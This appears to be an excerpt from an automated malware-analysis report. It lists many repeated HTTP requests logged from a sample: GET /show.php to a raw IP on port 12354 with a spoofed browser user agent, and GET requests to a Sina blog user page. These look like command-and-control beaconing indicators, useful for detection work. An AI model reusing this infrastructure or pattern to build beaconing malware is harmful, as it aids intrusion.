Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
